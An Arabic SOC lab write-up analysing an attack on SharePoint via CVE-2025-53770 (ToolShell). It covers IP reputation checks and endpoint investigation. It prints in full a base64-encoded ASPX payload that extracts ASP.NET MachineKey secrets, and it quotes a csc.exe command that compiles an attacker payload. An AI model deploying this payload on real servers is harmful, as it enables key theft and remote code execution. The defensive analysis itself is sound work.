
شرح تفصيلي لاستغلال ثغرة اليوم الصفري CVE-2025-53770 (ToolShell) في SharePoint، بما في ذلك تحليل تنفيذ الأوامر عن بُعد (RCE)، واستخراج MachineKey، وتجميع الحمولة، ونشر شيل الويب، وخطوات احتواء الاستجابة للحوادث.
قمت باستكشاف ثغرة يوم صفر في SharePoint تُسمى ToolShell (CVE-2025-53770) في مختبر LetsDefend. قمت بمحاكاة هجوم حقيقي من نوع zero-day حيث تجاوز طلب POST ضار المصادقة، وشغل PowerShell لسرقة مفاتيح MachineKeySection، وقام بتجميع payload.exe، وأسقط بابًا خلفيًا ويب (spinstall0.aspx). سجلت كل شيء، وحللت السلوك، واحتوت المضيف. يغطي هذا الملف README عمليات الهجوم، والخطوات اللازمة لإيقاف الهجوم، والدروس المستفادة.
هذا تنبيه حساس ونشاط مشبوه استهدف صفحة ToolPane.aspx في MS SharePoint بحمولة كبيرة ومُحيل (Referer) مزيف. سياق CVE مرتبط بـ CVE-2025-53770. إنها ثغرة حرجة في SharePoint من خلال طلب POST مصمم خصيصًا سمح للمهاجمين غير المصادقين. أدى الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على الخادم. تعاملت مع هذا على أنه نشط وعاجل وافترضت احتمال اختراق ناجح حتى يثبت العكس.
Microsoft SharePoint هو منصة للتعاون المؤسسي وإدارة المستندات — بشكل أساسي مركز آمن ومنظم للملفات وسير العمل وتطبيقات الويب الداخلية.
ثغرة zero-day حرجة في خادم Microsoft SharePoint تتيح للمهاجمين تشغيل التعليمات البرمجية عن بُعد دون مصادقة. تسيء استخدام إلغاء التسلسل غير الآمن وغالبًا ما تتحد مع ثغرات SharePoint أخرى (CVE-2025-49704, CVE-2025-49706) للسيطرة الكاملة على النظام. تقييم CVSS 9.8 (حرج) ويتم استغلالها بنشاط في البرية.
قمت بتحليل عنوان IP للمرسل (عنوان IP المصدر) باستخدام VirusTotal
عنوان IP المصدر: 107.191.58.76

من هذا أستطيع أن أرى أن 15/95 بائع أمني أشاروا إلى عنوان IP هذا على أنه ضار مما يخبرنا الكثير عن عنوان IP.
الآن علي البحث عن موقع IP. تم ذلك بمساعدة AbuseIPDB وكما هو موضح أدناه، فإن IP معروف بالاختراق، الهجمات بالقوة الغاشمة، هجمات تطبيقات الويب، فحص المنافذ، تسميم DNS.
كمحلل SOC يحل هذه المشكلة، أحد الخطوات المهمة التي يجب اتخاذها هو تحليل نقطة النهاية. بحثت عن المضيف في أمان نقطة النهاية باسم 'SharePoint01' ولأن IP معروف بالاختراق لمزيد من التحليل.
بعد تحديد موقع المضيف، زرعت محفوظات الطرفية للتحقق من سطر الأوامر
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
نظرًا للحمولة، تقدمت إلى مفكك Base64 لفك تشفير الأمر كما هو موضح أدناه
أطلق المستخدم PowerShell من دليل النظام “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” وبأوامر مشفرة برنامج C# من جانب الخادم ASP.NET.
يحاول الحمولة قراءة وتسريب MachineKey ASP.NET للمضيف - وهو سر يمكن استخدامه لتزوير رموز ViewState/إلغاء التسلسل وتمكين تجاوز المصادقة وتنفيذ التعليمات البرمجية عن بُعد. يتطابق هذا مع نمط استغلال ToolShell (إساءة استخدام MachineKey). مؤشرات الاختراق الرئيسية (IoCs) في الأمر باستخدام فك تشفير Base64 وترميزه.
حاول المهاجم الوصول إلى التكوين الخاص ويهدف إلى الاستغلال، وبالتالي إساءة استخدام .NET. من مفكك Base64 يمكننا رؤية System.Web.Configuration.MachineKeySection و GetApplicationConfig: يحتوي MachineKeySection على:
هذه المفاتيح هي أسرار تستخدم لحماية viewstate ومصادقة النماذج. استرجاعها هو محاولة مباشرة للحصول على مواد تسمح بتزوير/التحقق من صحة حمولات ASP.NET المتسلسلة → شرط مسبق مباشر لـ RCE القائم على إلغاء التسلسل.
بعد ثلاث ثوانٍ فقط كما هو موضح أعلاه، أرسل المهاجم أمرًا آخر
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.